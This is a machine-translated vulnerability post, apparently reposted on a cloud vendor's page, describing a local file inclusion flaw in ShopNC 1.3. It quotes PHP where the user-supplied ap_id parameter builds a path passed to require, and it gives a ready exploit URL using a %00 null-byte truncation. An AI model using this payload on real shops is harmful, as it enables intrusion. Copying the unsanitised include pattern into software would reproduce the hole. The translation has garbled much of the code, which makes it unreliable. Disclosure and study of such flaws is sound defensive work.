ShopNC 1.3 Local chicken ribs contained

Source: Internet
Author: User

There's an xss http://www.bkjia.com/Article/201107/98039.html in front of this stuff.
--------------------------------------------------------------------------------
 
Everything is cloudification before GPC .. So the chicken ribs ..
./Control/adv. php
 
Class advControl {
 
/**
 
*
 
* Ad display
 
*/
 
Public function advshowOp (){
 
If (trim ($ _ GET ['ap _ id']) = '') exit;
 
$ Time = time ();
 
// Load the ad space cache file
 
$ Ap_cache_file = BasePath. DS. 'cache '. DS. 'adv '. DS. 'ap _'. $ _ GET ['ap _ id']. '. cache. php '; // directly included ..
 
If (file_exists ($ ap_cache_file )){
 
Require ($ ap_cache_file );
 
} Else {
 
Exit;
 
}./Global. php
Omitted
 
If ($ _ GET ['act '] = 'adv' & ProjectName = ''){
 
Define ('Attach _ ADV ', 'upload/adv ');
 
Require_once (BasePath. DS. 'config. ini. php ');
 
Define ('siteurl', $ site_url );
 
$ Advshow_classfile = BasePath. DS. 'control/adv. php ';
 
Echo " 
If (file_exists ($ advshow_classfile )){
 
Echo " 
Include_once ($ advshow_classfile );
 
$ Advshow = new advControl ();
 
$ Advshow-> advshowOp (); // this ..
 

 
} Else {
 
Echo "Adv System Inner Error! ";
 
}
 
Exp
Http://www.bkjia.com/2008/upload/index. php? Act = adv & ap_id =. sss. sb % 00
 
Www.2cto.com:

Refer to the above Code Analysis and previous articles on this site
From: http://t00ls.net/thread-20191-1-1.html
 
 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.